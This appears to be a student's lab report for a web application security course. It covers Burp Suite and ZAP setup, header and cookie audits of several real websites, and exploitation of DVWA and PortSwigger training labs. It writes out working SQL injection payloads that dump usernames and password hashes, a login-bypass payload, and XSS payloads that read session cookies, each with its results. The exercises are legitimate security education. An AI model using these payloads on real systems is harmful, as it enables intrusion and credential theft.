Post

FUTM-CYB 322 Web Application Security

FUTM-CYB 322 Web Application Security

FUTM-CYB 322 Web Application Security

Practical Hours Projects: Weeks 1–7

Student Submission Report

Table of Contents



Week 1: Foundations of Web Application Security


1A Burp Suite Community Edition Setup and Proxy Configuration

Steps

Step 1: I navigated to https://portswigger.net/burp/communitydownload and downloaded the Windows installer.

78086533ce3d7efd4ba97b752a053c4a.png

Step 2: I proceeded through each installer prompt until setup finished.

fcc2e8288c9ed8bcd5255d08e5887273.png

Step 3: After launching Burp Suite, I chose Temporary project > Use Burp defaults.

b3aa8c5e333de8a0a99b81305e48dd7c.png

Step 4: I navigated to Proxy > Options and verified that the listener was configured to 127.0.0.1:8080.

124611d3b33f4c7f97859f84bbdfe224.png

Step 5: In Firefox, I opened Settings > Search for Proxy > Configure Proxy Configuration, selected Manual Proxy Configuration, entered 127.0.0.1 as the HTTP Proxy on port 8080, and enabled Also use this proxy for HTTPS.

bdba913884aba11b02126270b31b4999.png

Step 6: With Burp running, I opened http://burpsuite/ in Firefox and downloaded the Burp CA certificate. I then navigated to Firefox Settings > Privacy & Security > Manage Certificates > Import, selected the certificate from the Downloads folder, and marked it as trusted for identifying websites.

909e66873063953aa7c251dfd664c866.png 221cec5c960fa440dfedb58c4468b3fa.png

Step 7: I enabled Intercept in Burp through Proxy > Intercept > Intercept on, then browsed to https://google.com in Firefox. Due to persistent PortSwigger certificate warnings in Firefox, I switched to Burp’s built-in browser. The captured request showed up in Burp’s Intercept tab. 788d37dd2cc38ca9a0a182550f3916cb.png f2d6594147d955e1d7112093f351a1e7.png

Step 8: I selected Forward in Burp to let the request through and reviewed the response under Proxy > HTTP History. The screenshot was then annotated to highlight the request line, Host header, User-Agent, and Cookie.

de17f6693775e42a263c8154dd5b5b99.png

Intercepted Request Annotation Table

Component Value Observed
Request Method GET
Request Path /
HTTP Version 2
Host Header www.google.com
User-Agent Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
Cookie Header AEC=…; NID=…; __Secure-STRP=…
Request Body Parameters None

Observations

  1. HTTP Protocol Version: HTTP/2 was used in the intercepted request, remaining widely adopted even though newer versions such as HTTP/3 exist.

  2. Firefox Certificate Trust Issue: The Burp CA certificate was not trusted by Firefox even after importing it, most likely due to tightened validation requirements in newer Firefox builds.

  3. Browser Compatibility: Unlike Firefox, Burp Suite’s built-in browser accepted the certificate without any warnings.


1B OWASP ZAP Installation and Initial Exploration


Prerequisites

Since OWASP ZAP depends on Java, the Java Development Kit was installed first before proceeding with ZAP.

Step 1: From oracle.com/java/technologies/downloads, I downloaded the JDK 26 Windows x64 Installer (188.65 MB).

59f73cd5ad16a0998519dd59c65bad56.png

Step 2: Running the JDK installer brought up the setup wizard for Java SE Development Kit 26.0.1 (64-bit), and I clicked Next to continue.

5ee997cdac619dba26e6020bee3f9f61.png

Step 3: Installation proceeded through two stages — Updating component registration followed by Extracting Installer — before finishing.

99a1647d5181bbac288b66f500c6a121.png df0e4c57dfeb2f77f0e01c8197d76963.png

Step 4: A confirmation screen appeared stating Java(TM) SE Development Kit 26.0.1 (64-bit) Successfully Installed, and I clicked Close.

92e3393be093744b86930437209cfd00.png


ZAP Installation

Step 5: Having Java in place, I ran the ZAP 2.17.0 installer (ZAP_2_17_0_windows). The install4j wizard extracted and prepared the installation, then displayed the Apache License 2.0 agreement. I chose I accept the agreement and clicked Next.

6ff5d9043ecbb9ead5e7047e329c9575.png 8225523eb2d4e66c81ffc5886fb5fb1a.png

Step 6: All components were extracted successfully, including plugins such as database-alpha-0.9.0.zap, selenium-release-15.43.0.zap, soap-beta-29.zap, webdriverwindows-release-170.zap, and language files, with no errors reported.

c10a11e286c6950bdb19ffc3bc682a50.png 2d3ed27192a832e63123a26a713484b3.png


First Launch

Step 7: I started ZAP 2.17.0. A dialog on first launch asked whether to persist the ZAP session. I chose No, I do not want to persist this session at this moment in time and clicked Start.

158274595ab9d389ad6419d81ae3dd50.png

Step 8: ZAP loaded the Welcome to ZAP screen, presenting three options: Automated Scan, Manual Explore, and Learn More. The status bar at the bottom showed that the main proxy was active on localhost:8080.

ccbd06f2fa7b88995c50bdb8f2be612c.png


Browser Configuration

Step 9: Instead of setting up an external browser manually, I clicked the built-in browser launch button in ZAP’s Quick Start toolbar. This opens a browser already configured to route traffic through ZAP at 127.0.0.1:8080, requiring no manual proxy setup. The resulting Firefox window displayed a red/pink striped address bar, indicating that traffic was being proxied through ZAP.

Note: Firefox must be installed for this to work.

ca9226e91a2f2b2785d0c9955e45d3ca.png 182b0316e8553ee18ee25aea18235ac0.png


OpenVPN Installation and TryHackMe VPN Setup

Accessing the DVWA target machine on TryHackMe’s private network required a VPN connection. I had previously downloaded OpenVPN 2.7.4-I001 (Windows 64-bit MSI) from community.openvpn.net.

Step 10: I launched the OpenVPN installer with the Install Now default option. Setup passed through several stages, including checking the OpenVPNService status and creating TUN/TAP adapters. When the installer showed OpenVPN Installing Completed, I clicked Close.

95296dbdd80ff82abbb96c947b5a60d6.png 600917d09b50b64339e05cbc65abe8ea.png 20218c3632a7fe30da1d73ff5ede0362.png

Step 11: I went to the TryHackMe DVWA room (tryhackme.com/room/dvwa) and deployed the target machine. It was assigned the IP address [target-IP].

148902b9d3cc4e47958ec84b6555e2bb.png

Step 12: I opened tryhackme.com/access to retrieve my VPN configuration file. The page indicated the assigned VPN server was Europe (Frankfurt) and the connection status was Not connected. Clicking Download Regular Configuration File saved eu-central-1-raviheima-regular(1).ovpn (6.0 KB) to my machine.

b869c393069d94f21c4a20738acb50cd.png e90c6ecc87beefb41aa3ae410ccf430e.png

Step 13: When I opened the .ovpn file, the OpenVPN GUI displayed an import dialog: “Do you want to import the profile eu-central-1-raviheima-regular(1)?” I clicked Yes.

7536f5b77c1425fbc26471163b9f1c41.png

Step 14: Right-clicking the OpenVPN system tray icon, I selected Connect. The first attempt timed out while trying [old-IP] — an outdated TryHackMe IP — but the second attempt succeeded. A notification from OpenVPN GUI for Windows confirmed: “eu-central-1-raviheima-regular(1) is now connected. Assigned IP: [vpn-IP]”.

7dcdbf4da55b759b5a474c7d64894a64.png fb2c5fee54aed11a6f12c961c7dbb3ed.png


Connectivity Verification

Step 15: After establishing the VPN connection, I went back to the TryHackMe DVWA room. The target IP was confirmed as [target-IP]. I opened Command Prompt and executed:

1
ping [target-IP]

Connectivity was confirmed: 4 packets sent, 4 received, 0% loss, with round-trip times ranging from 156ms to 174ms (average 163ms).

faa0c94d98aab26ac8962afb48a9728c.png


ZAP Automated Scan Against DVWA

Step 16: With ZAP reopened (proxy still active on localhost:8080), I clicked Automated Scan from the Welcome screen, set the target URL to http://[target-IP], verified the Scan Policy was Dev Standard, and clicked Attack.

2c91c29605151feb37ffc3ef4170df84.png

Step 17: ZAP began with the traditional spider, which found 11 URLs and 8 nodes. The Spider tab displayed all crawled endpoints, including login.css, login_logo.png, RandomStorm.png, robots.txt, sitemap.xml, and login.php (both GET and POST). A single out-of-scope URL (www.w3.org) was identified and excluded.

7f547057666405246cb89ad43597384d.png Step 18: Once the spider finished, the active scan and passive analysis proceeded simultaneously. The Alerts tab filled with 10 alerts spanning multiple severity levels. Each alert was opened to review its details.

4147cb678c7c8f0cd7bd7001dd0f0fd4.png


Passive Scan Alerts

The following alerts were detected by ZAP’s passive scanner during the automated scan of http://[target-IP] (DVWA):

Alert Name Severity Description
Content Security Policy (CSP) Header Not Set Medium The Content-Security-Policy HTTP response header was absent on /, /login.php, and /sitemap.xml. CSP prevents XSS and data injection attacks by whitelisting approved content sources. CWE-693, WASC-15.
Missing Anti-clickjacking Header Medium No X-Frame-Options or CSP frame-ancestors directive was present on two responses, leaving the application vulnerable to UI redress (clickjacking) attacks.
Cookie No HttpOnly Flag Low A session cookie was set without the HttpOnly attribute, meaning client-side scripts can access it enabling theft via XSS.
Cookie without SameSite Attribute Low Two cookies lacked the SameSite attribute, leaving them vulnerable to cross-site request forgery (CSRF) since they would be sent on cross-origin requests.
In Page Banner Information Leak Low The application’s HTTP response revealed software version or banner information inline within the page, which assists attacker fingerprinting.
Server Leaks Information via “X-Powered-By” HTTP Response Header Low The server returned an X-Powered-By header disclosing the backend technology stack (e.g. PHP version), reducing the work needed for targeted exploitation.

Passive vs Active Scanning

Passive scanning is a non-intrusive form of reconnaissance in which a proxy tool like ZAP monitors and analyses HTTP/HTTPS traffic flowing between the browser and the target application, without generating any additional or altered requests. Vulnerabilities such as missing security headers, information leakage, and insecure cookies are identified purely by examining ordinary browsing traffic.

Active scanning, on the other hand, intentionally fires crafted payloads at the target — such as SQL injection strings or XSS probes — with the aim of triggering and identifying exploitable responses. This produces a substantial amount of traffic and may modify application state or set off security alarms.

Because passive scanning never alters requests or introduces anything beyond what the user has already sent, it is safe to use against any target, including live production systems. Its observe-only nature makes it suitable even in contexts where active testing is forbidden or would pose a risk.


1C TryHackMe Web Security Fundamentals


Steps

Step 1: I went to tryhackme.com and created a free account using my university email.

Step 2: I searched for How Websites Work, opened the room at https://tryhackme.com/room/howwebsiteswork, and worked through each task in order.

edb497bacb32f0a0a1392df2f99b4048.png

Step 3: I searched for HTTP in Detail and completed all tasks.

7c918dea8ab955e7e640dca29fe3a2a0.png

Step 4: I answered the following questions based on my findings.

Question Answer
What is the difference between a web server and a web application? A web server is just a machine that receives requests and sends back responses. A web application is the software running on that server that actually processes your request and returns the right content.
What is sent inside an HTTP request? The request method (GET, POST, etc.), the resource path, the HTTP version, and headers like Host, User-Agent, and Referer. POST requests also include a body with the submitted data.
What does HTTP status code 403 mean? It means Forbidden you don’t have permission to access that resource, even if you’re logged in.

Step 5: I wrote a 300-word summary covering the request-response process and three security risks (see written section below).

Step 6: I added five key term definitions at the end of my notes.


Request-Response Summary (~300 words)

Each time you load a website, your browser sends an HTTP request to a web server. This request contains a method (GET to retrieve content, POST to submit data, PUT to update, DELETE to remove), the resource path, and headers providing additional context such as your browser type, the target host, and the length of the request body. A blank line at the end signals to the server that the request is finished.

The server replies with a response containing a status code describing the outcome. 200 means success, 301 means the resource has permanently moved, 403 means access is denied, 404 means the resource was not found, and 500 means the server encountered an error. Headers such as Content-Type and Set-Cookie accompany the response, followed by the body — typically HTML.

HTTP is stateless, meaning each request is treated independently with no memory of prior interactions. Cookies address this limitation — the server issues a Set-Cookie header, and the browser includes that cookie in all subsequent requests, allowing the server to identify returning users.

Three security risks emerge within this flow. First, sensitive data exposure — developers occasionally embed passwords or API keys directly in page source code, where anyone can read them. Second, HTML injection — when a site renders user input without sanitising it first, an attacker can inject HTML that alters the content other users see. Third, plain HTTP — without HTTPS, all traffic between the browser and server travels in plaintext, readable by anyone sharing the same network. HTTPS solves this by encrypting the connection and authenticating the server.

A solid grasp of this cycle forms the basis of web security.


Key Term Definitions

Term Definition
Threat Any potential actor or event that could cause harm to a system, like an attacker or malware.
Vulnerability A weakness in a system that can be exploited, like missing input validation or exposed credentials.
Risk The chance that a threat exploits a vulnerability, combined with how bad the damage would be.
Exploit The actual method or code used to take advantage of a vulnerability.
Attack Surface All the points where an attacker could interact with a system inputs, endpoints, open ports, etc.

Week 2: Web Application Architecture and Security Implications


2A HTTP Traffic Analysis with Browser DevTools

Steps

Step 1: In Firefox, I pressed F12 to launch DevTools, selected the Network tab, and enabled Preserve log.

Step 2: After navigating to accessbankplc.com, I selected the first GET request and reviewed both the Request and Response Headers, documenting every header present.

592a582998548b5a4c3c6a69d28fb5e9.png

Step 3: The same process was repeated for jumia.com.ng.

2a3a5acc23fea9233e46322defa3f89f.png

Step 4: The same steps were then applied to ncc.gov.ng.

241eb523a091e7fff7ff48c1123d68b4.png

Step 5: I used securityheaders.com to check each of the three sites, cross-referencing my findings and obtaining a security grade for each.

5211bc5413bfbf6b3e9a2e3f813f8fc2.png b9ec606a7a65f806784ef5b7223ece8d.png 30b306757a8a5b8c57ac7bae089e58b6.png

Security Headers Comparison Table

Header accessbankplc.com jumia.com.ng ncc.gov.ng
HTTPS (Y/N) Y Y Y
Strict-Transport-Security Y N N
Content-Security-Policy Y (upgrade-insecure-requests) N N
X-Frame-Options N Y (SAMEORIGIN) Y (SAMEORIGIN)
X-Content-Type-Options Y (nosniff) Y (nosniff) N
Referrer-Policy N Y (strict-origin-when-cross-origin) Y (same-origin)
securityheaders.com Grade B C D

Note: Providing just the domain name produced incorrect grades in Snyk. I needed to supply the full URL, including https:// and the www subdomain where applicable, for accurate assessment (https://www.accessbankplc.com/, https://www.jumia.com.ng/, https://ncc.gov.ng/)

Analysis

accessbankplc.com (Grade B): Several positive headers are present, including STS and CSP, but the absence of X-Frame-Options is a concern. Without this header, the site is exposed to clickjacking, where attackers overlay the page to trick users into interacting with malicious content. A missing Referrer-Policy also allows user data to be exposed when navigating away from the site.

jumia.com.ng (Grade C): The absence of both STS and CSP represents a more serious posture. Without STS, an attacker can strip HTTPS down to HTTP and intercept data in transit. Without CSP, the site is susceptible to XSS attacks in which injected scripts can steal credentials or session cookies.

ncc.gov.ng (Grade D): This site has the weakest security posture of the three. The lack of STS, CSP, and X-Content-Type-Options exposes it to SSL stripping, XSS attacks, and MIME-sniffing — where the browser is deceived into executing malicious content by misinterpreting the file type.


Steps

Step 1: I opened my browser, pressed F12 for DevTools, went to the Storage tab in Firefox, and expanded Cookies in the left panel.

Step 2: I navigated to the first website, clicked on the domain, and recorded each cookie’s Name, first 10 characters of its Value, Secure flag, HttpOnly flag, SameSite setting, and Expires date. https://hack-yourself-first.com/ 4cc3b5553aa33adf4f0efcdb7156f7d5.png

Step 3: I repeated this for the second website. https://www.firstbanknigeria.com/

66b2dbec577d4e09ef13aa48cb618d34.png

Step 4: I repeated this for the third website. http://aspnet.testsparker.com/ c05c49ebc89fe2d0b377b718c388c6af.png

Step 5: I launched DVWA, opened Burp Suite with interception ON, and logged into DVWA with admin / password. In Burp’s HTTP History, I found the POST /login.php response and noted the Set-Cookie header.

57b6e1cacb355e7054ccf577734ce7bb.png

Step 6: I rated each cookie using: Secure + HttpOnly + SameSite=Strict = Secure. Missing one = Partially Secure. Missing two or more = Insecure.

Site Cookie Name Value (First 10 Chars) Secure HttpOnly SameSite Expires Rating
hack-yourself-first.com ASP.NET_SessionId 3m6puxqty0 No Yes Lax Session Partially Secure
hack-yourself-first.com VisitStart 5/21/2026 10 No No Blank Session Insecure
firstbanknigeria.com AWSALB 9DPQTYLzjsI4 No No Blank 2026-05-28 Insecure
firstbanknigeria.com AWSALBCORS 9DPQTYLzjsI4 Yes No None 2026-05-28 Insecure
firstbanknigeria.com perf_dvGT4tb (from screenshot) No No Blank 2026-06-04 Insecure
aspnet.testsparker.com ASP.NET_SessionId dik5f0sbe3y No Yes Lax Session Partially Secure
aspnet.testsparker.com TestCookie Hello No No Blank Session Insecure

Attribute Present? Details
Secure flag No Cookie set over HTTP ([target-IP]), not HTTPS
HttpOnly flag Yes Set on PHPSESSID: path=/; httponly
SameSite No No SameSite attribute present

DVWA Set-Cookie Headers (from Burp Suite):

  1. Set-Cookie: PHPSESSID=1tced5ke368iqfg42lobnff5u5; path=/
  2. Set-Cookie: PHPSESSID=1tced5ke368iqfg42lobnff5u5; path=/; httponly
  3. Set-Cookie: security=impossible; httponly

Security Analysis

First Bank Nigeria has the greatest number of missing protections. AWSALB carries none of the three flags — no Secure, no HttpOnly, and no SameSite — leaving it open to theft via JavaScript (XSS) or interception over unencrypted connections. AWSALBCORS includes the Secure flag (ensuring encrypted transmission) but lacks HttpOnly and uses SameSite=None, meaning cross-site requests are permitted and the cookie remains exposed to both XSS and CSRF.

DVWA omits both the Secure and SameSite attributes on PHPSESSID. While HttpOnly is set — blocking direct JavaScript access — the absence of Secure means the cookie is transmitted in plaintext over HTTP. The missing SameSite attribute allows the cookie to be included in cross-site requests, opening the door to CSRF attacks.

hack-yourself-first.com sets ASP.NET_SessionId with HttpOnly and SameSite=Lax, but the Secure flag is absent. VisitStart has no protective flags set at all.

aspnet.testsparker.com configures ASP.NET_SessionId with HttpOnly and SameSite=Lax, but omits the Secure flag, so the cookie is sent without encryption. TestCookie is entirely unprotected.

Of the four sites examined, not a single cookie had all three security flags present. Seven cookies were rated Insecure (lacking two or more flags), while two were Partially Secure (missing only the Secure flag).


2C Web Application Architecture Mapping

Steps

Step 1: DVWA was launched on my machine, and Burp Suite was opened with the browser configured to proxy through it. 61037da54c4978156f7acf6eb5394d04.png

Step 2: I navigated through the entire application, visiting each page and submitting every available form. Every request was captured in Burp’s HTTP History tab.

d4045a8885ffa56033923169d40fa246.png

Step 3: Using Burp’s Target > Site Map, I reviewed all discovered URLs and endpoints. Technologies disclosed in the response headers, such as X-Powered-By: PHP and Server: Apache, were recorded.

3871f0491c4e5381a34239e7527e1f95.png

Step 4: Through DevTools > Network, I examined JavaScript files, API calls (fetch/XHR), and external resources to build an understanding of the front-end architecture.

22e83f1d6996034c49fd876e1215a528.png

Step 5: Using Inkscape, I created a diagram depicting the Presentation Tier, Application Tier, and Data Tier. Each identified component was placed within its respective tier, with arrows indicating data flow between layers. Every component was annotated with at least one security risk, and five attack surface points were labelled in red: AP1 (login.php - Auth entry point), AP2 (fi/?page= - File inclusion parameter), AP3 (phpinfo.php - Server recon page), AP4 (MySQL DB - User credentials storage), and AP5 (Response headers - Fingerprinting)

dvwa_three_tier_architecture_v3.svg

Step 7: A 300-word narrative was written to explain the diagram (see written section below).

Attack Surface Points

# Component Tier Security Risk
1 login.php Application No login attempt lockout; credentials sent over HTTP; vulnerable to brute force attacks
2 fi/?page= Application File Inclusion parameter accepts user input directly; allows path traversal and arbitrary file reading
3 phpinfo.php Application Publicly accessible; exposes full server configuration, PHP version, installed modules, and system information
4 MySQL DB Data Stores user credentials and session data; vulnerable to SQL injection attacks from Application Tier
5 Response headers Application Server advertises Apache version and PHP version; enables fingerprinting and targeted exploitation

Architecture Narrative (~300 words)

DVWA is a three-tier web application hosted locally at [target-IP]. The architecture was mapped by browsing through Burp Suite, reviewing the site map, inspecting response headers, and filtering JavaScript files in the DevTools Network tab.

The Presentation Tier consists of browser-rendered HTML pages containing forms and navigation links. Two JavaScript files were observed loading in DevTools: dvwaPage.js and add_event_listeners.js, both served directly from the local server. No external domains or fetch/XHR calls were present; all communication takes place through standard HTTP form submission.

The Application Tier runs on PHP, confirmed by the response headers X-Powered-By: PHP/5.5.9-1ubuntu4.26 and Server: Apache/2.4.7 (Ubuntu). Burp’s site map revealed the full structure, including top-level pages such as login.php, setup.php, security.php, and phpinfo.php, along with fourteen vulnerability modules under /vulnerabilities/. All user input — whether from form submissions or URL parameters — is processed here before reaching the database.

The Data Tier is MySQL, used by modules including SQL Injection and XSS Stored. It is not directly accessible from the browser — all database interactions are handled by the PHP layer.

Five points defined the attack surface. The login.php form transmits credentials over plain HTTP with no apparent lockout mechanism, leaving it open to brute force. The File Inclusion module exposes the ?page= parameter, which accepts user input and feeds it directly into the file-loading process, enabling path traversal. phpinfo.php is publicly reachable and discloses the full server configuration. SQLi endpoints pass user-supplied input into database queries without validation. Finally, response headers openly reveal the server and PHP versions, making fingerprinting straightforward. The security level during this mapping was set to impossible, which affects application logic but does not change the information visible in headers or the file structure.


Week 3: Common Threats and Vulnerabilities Part 1 Injection Attacks


3A SQL Injection Exploitation on DVWA

Steps

Step 1: After launching DVWA and logging in with admin / password, I navigated to DVWA Security, changed the level to Low, and clicked Submit. a625a58742c9dbcfb29d40b694b0441f.png

Step 2: Using the left menu, I selected SQL Injection.

Step 3: Submitting a single quote ' in the input field triggered a SQL error, which confirmed the field was vulnerable. I documented the error message. 6b775c5404114c982d57a40cc8cd570f.png

Step 4: To determine the column count, I entered 1' UNION SELECT NULL, NULL# and clicked Submit. The absence of an error confirmed the query returns two columns. 8d4dcbbb8005ee7bb8103a3d6a44df08.png

Step 5: The database version was retrieved using: 1' UNION SELECT version(), NULL# e06ee97afaae1e442d65ddf30b9e9c23.png

Step 6: The current database name was pulled using: 1' UNION SELECT database(), NULL# 1702f6804290c3e647d3245038ac0e93.png

Step 7: All tables were enumerated using: 1' UNION SELECT table_name, NULL FROM information_schema.tables WHERE table_schema=database()# 3ee501acbd3e21c713af098c482f0fcc.png

Step 8: Usernames and password hashes were extracted using: 1' UNION SELECT user, password FROM users# 7f0dcc43ee641cc5d74fc3d536d22e52.png

Step 9: Each payload submitted along with its corresponding server response was documented.

Payload Log

Step Payload Server Response / Data Extracted
Confirm vulnerability ' SQL syntax error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''
Column count 1' UNION SELECT NULL, NULL# No error returned two rows displayed, confirming 2 columns
DB version 1' UNION SELECT version(), NULL# 5.5.61-0ubuntu0.14.04.1
DB name 1' UNION SELECT database(), NULL# dvwa
Tables 1' UNION SELECT table_name, NULL FROM information_schema.tables WHERE table_schema=database()# Tables: guestbook, users
Usernames & hashes 1' UNION SELECT user, password FROM users# admin : 5f4dcc3b5aa765d61d8327deb882cf99 gordonb : e99a18c428cb38d5f260853678922e03 1337 : 8d3533d75ae2c3966d7e0d4fcc69216b pablo : 0d107d09f5bbe40cade3de5c71e9e9b7 smithy : 5f4dcc3b5aa765d61d8327deb882cf99

Note on comment syntax: The lab instructions originally specified -- as the SQL comment terminator. This was changed to # (MySQL-native), and the input was corrected from 1 UNION... to 1' UNION... to correctly close the enclosing single quote in the query: WHERE user_id = '$id'. Without the leading ', the injection fails to escape the string context.

Impact Statement

Five unsalted MD5 password hashes were exposed from the users table through the SQL injection attack. Since MD5 is a weak, fast hashing algorithm with no salt, all five hashes can be cracked near-instantly using Hashcat or matched against public rainbow tables such as CrackStation. An attacker who recovers the plaintext passwords could then authenticate to the application as an administrator and attempt credential stuffing against external services like email or banking platforms. Passwords such as password, abc123, and letmein are frequently reused across multiple sites. The root cause is unsanitised user input being concatenated directly into a SQL query — remediation requires replacing dynamic queries with prepared statements using parameterised queries.


3B PortSwigger SQL Injection Apprentice Labs

Lab 1: SQL injection vulnerability in WHERE clause allowing retrieval of hidden data

Step 1: With Burp Suite open and its built-in browser running, I logged in to PortSwigger, navigated to https://portswigger.net/web-security/sql-injection/lab-retrieve-hidden-data, and clicked Access the lab. 8b3b0268040a3e608f7694b4e6791a47.png 0cc03a76653630627e97ddb580b4b194.png Step 2: Intercept was enabled in Burp Suite before clicking the 'Clothing, shoes and accessories' filter on the web app, allowing the outgoing request to be captured. bf17ee70949fcd9b55b8a8950913cd36.png 455c7fa9805d2bbc577f2ec0bfdd2d55.png 45d67053c44118475097454e5b3c2adc.png

Step 3: In the GET request tab, the category query string was swapped for the '+OR+1=1-- payload, after which I clicked Forward all and disabled Intercept. 7cc5a280b04b5801684ccd7100993997.png 42431c647e1d9ef4a2c0997f7015d3bf.png

Lab 2: SQL injection vulnerability allowing login bypass

Step 1: Using Burp’s built-in browser, I opened https://portswigger.net/web-security/sql-injection/lab-login-bypass and clicked Access lab. Step 2: I clicked My account. 2a84fae78e452605cfbbf8df166769d0.png Step 3: The login form was populated with admin admin in the username and password fields. 83c466113cb41c898d4761650815c842.png Step 4: I turned on Intercept in Burp Suite. Step 5: Clicking Login triggered the POST request capture, at which point the username value was replaced with the payload administrator'--. I then clicked Forward all and switched off Intercept. af7cc7c0d3482184e806c3ec907a528e.png Step 6: Admin access was granted, along with an option to update the administrator email. Entering [email protected] in the email field and clicking Update completed the lab. e0d2f37212fce2b123f565bfdc354383.png ec1a550932262ef27949666102e61717.png

Lab 3: SQL injection UNION attack, determining the number of columns returned by the query

Step 1: I navigated to https://portswigger.net/web-security/sql-injection/union-attacks/lab-determine-number-of-columns and clicked Access Lab. Step 2: After enabling Intercept and clicking Accessories, the category query string value was replaced with the payload '+UNION+SELECT+NULL-- and Forward was clicked to let the browser finish loading the page. 3c32e612a8aab0d8713eabe28f344fa6.png e9e3e6cd1f616311ca9d5a3a29e47d61.png Step 3: The first payload '+UNION+SELECT+NULL-- produced an error, ruling out a single-column result. Adding a second NULL to get '+UNION+SELECT+NULL,NULL-- also returned an error. The third attempt using '+UNION+SELECT+NULL,NULL,NULL-- loaded the page without error, solving the lab and confirming the query returns three columns. 88b7f2ac96a599a83ff65614e7e74956.png 1869a65523eeeac51c52e9c4d74563f0.png

Lab Summary Table

Lab Name Vulnerable Parameter Payload Used Result
SQLi in WHERE clause category (GET request) '+OR+1=1-- Returned all products including hidden ones
Login bypass username (POST request) administrator'-- Bypassed authentication and logged in as admin
UNION column count category (GET request) '+UNION+SELECT+NULL,NULL,NULL-- Confirmed the query returns 3 columns

Error-based vs UNION-based SQLi

Error-based SQLi involves submitting inputs designed to cause the database to generate an error whose message contains real data — instead of a normal response, the database inadvertently leaks information through its error output. UNION-based SQLi operates differently: rather than provoking errors, a second SELECT statement is appended to the original query via the UNION operator, allowing data from other tables to be retrieved alongside the legitimate response. The fundamental distinction is that error-based techniques depend on the application surfacing database error messages, whereas UNION-based attacks require the injected query to exactly match the column count and data types of the original before producing results.


Week 4: Threats and Vulnerabilities Part 2 XSS, CSRF, and Broken Access Control


4A Cross-Site Scripting (XSS) Exploitation on DVWA

Target: DVWA (Damn Vulnerable Web Application) on TryHackMe
Security Level: Low
Date: 22 May 2026


Objective

The objective was to exploit both Reflected and Stored XSS vulnerabilities on DVWA at Low security, observe script execution and session cookie exposure in practice, and record the key distinctions between the two attack types.


Environment Setup

  • DVWA was accessed at [target-IP]/login.php for the first session and [target-IP] for the second, with login credentials admin / password used for both.
  • The security level was verified as Low through DVWA Security > Security Level. 565114331399b03a09e72db304f40502.png 257559c72ecdceaf005cfc00da71c5dc.png

Steps

Stored XSS Basic Proof of Concept

Step 1: Opened XSS (Stored) at /vulnerabilities/xss_s/. The guestbook form displayed Name and Message fields. A previous test submission (Name: test, Message: This is a test comment.) was already listed, verifying that the page renders previously stored entries.

9aa1bdc0a689648b7cc03ce8c78b5401.png

Step 2: The Name field was filled with steal_cook and the Message field with <script>alert(document.cookie)</script>, then Sign Guestbook was clicked.

74228a2d1ce45557b6149b66a05c863c.png

Step 3: On page load, an alert box fired displaying the full session cookie value:

1
PHPSESSID=m721jodo9q2ogffvg84ov2qe04; security=low

This demonstrated that the script had been saved to the database and ran in the browser without requiring any further user interaction.

d0d1abbf56709b1a45073f0768d130de.png a4f4ef7f49be470e05aacf49fda0fef8.png

Step 4: Once the alert was dismissed, the guestbook page rendered fully, showing the Name: steal_cook entry. The alert re-triggered on every subsequent page load — including for any other user who navigates to the page.

c8cbeccea62669440d055164f8f4acd2.png


Step 5: The XSS (Reflected) page at /vulnerabilities/xss_r/ was opened. The payload <script>alert(document.cookie)</script> was entered into the What’s your name? field and Submit was clicked.

The address bar showed the payload URL-encoded:

1
/vulnerabilities/xss_r/?name=<script>alert%28document.cooki...

An alert dialog appeared showing:

1
PHPSESSID=m721jodo9q2ogffvg84ov2qe04; security=low

957b55e3c771db21ada4650754ce6a4e.png 80cf899160b184b22361699216ad8434.png

Step 8: The payload was swapped for <script>alert('XSS')</script> and resubmitted. An alert showing XSS appeared, confirming that arbitrary script execution through the URL parameter was possible.

The resulting URL functions as a malicious link that an attacker could distribute to targets — any victim who follows it will run the attacker’s script within their own browser session.

5beb7dc7ad553a9d212b695292d7dc69.png


Reflected vs. Stored XSS Comparison Table

Attribute Reflected XSS Stored XSS
Where payload is stored Not stored lives only in the URL/request Stored in the server database
Who is affected Only the user who clicks the crafted link Every user who visits the affected page
Requires victim to click a link Yes attacker must trick victim into clicking a malicious URL No payload fires automatically on page load
More dangerous? Less dangerous (requires social engineering) More dangerous
Why Impact is limited to one victim per click and requires active delivery A single injection persists indefinitely and attacks all visitors passively

Key Observations

  • With Low security configured, DVWA applies neither input sanitisation nor output encoding, meaning user input is written directly into the HTML response and the database.
  • Injected JavaScript had full access to document.cookie, exposing the PHPSESSID session token. In a genuine attack scenario, this token would be transmitted to an attacker-controlled server, enabling session hijacking.
  • The stored payload re-executed each time the page loaded — including on refresh — meaning even the admin returning to the page would trigger the script.
  • Unlike the stored variant, the reflected payload was visible in the URL bar, making it a detectable indicator.

Remediation

Control Description
Output encoding Encode <, >, ", ', and & before rendering user input in HTML
Input validation Reject or strip HTML tags from user-supplied fields
Content Security Policy (CSP) Use a strict CSP header to block inline script execution
HttpOnly cookie flag Setting HttpOnly on session cookies prevents JavaScript from reading them via document.cookie
Parameterised storage Use prepared statements so input is stored as data, never rendered as markup


Lab 1: Reflected XSS into HTML context with nothing encoded

Steps

Step 1: Logged in to PortSwigger and opened the Reflected XSS into HTML context with nothing encoded lab (Apprentice level). The lab description confirmed it contains a simple reflected XSS vulnerability in the search functionality, and the goal was to call the alert function.

fd59363cccd6cee131d0efb9b803a96f.png

Step 2: Clicked ACCESS THE LAB to launch the live lab environment. The lab loaded a blog-style application (“We Like to Blog”).

Step 3: Entered the payload <script>alert(1)</script> directly into the search box and clicked Search. The server reflected the input back into the HTML response without any encoding or sanitisation.

dbebd784dbe6499fd454d6b0799b7b81.png

Step 4: The injected script ran immediately in the browser, triggering an alert dialog that displayed the value 1.

b7d859413bcbf64806428373b7d35b87.png

Step 5: After dismissing the alert, the PortSwigger banner changed to Solved, confirming successful completion of the lab.

1bc0d3d96a096a0d8b3c6517404ade3a.png


Lab 2: Stored XSS into HTML context with nothing encoded

Steps

Step 1: Opened the Stored XSS into HTML context with nothing encoded lab (Apprentice level). The lab description confirmed it contains a stored XSS vulnerability in the comment functionality, and the goal was to submit a comment that calls alert when any blog post is viewed.

0cda24309fe3f7ba6b7c5e178dc02fdc.png

Step 2: Clicked ACCESS THE LAB. Navigated to a blog post (“Cell Phone Free Zones”) to access the comment section.

3ddd4eb8214c50845999ab69665d1bf7.png

Step 3: Scrolled to the Leave a comment form. The existing comments from other users were visible, confirming that comments are stored server-side and rendered back to any visitor who loads the page.

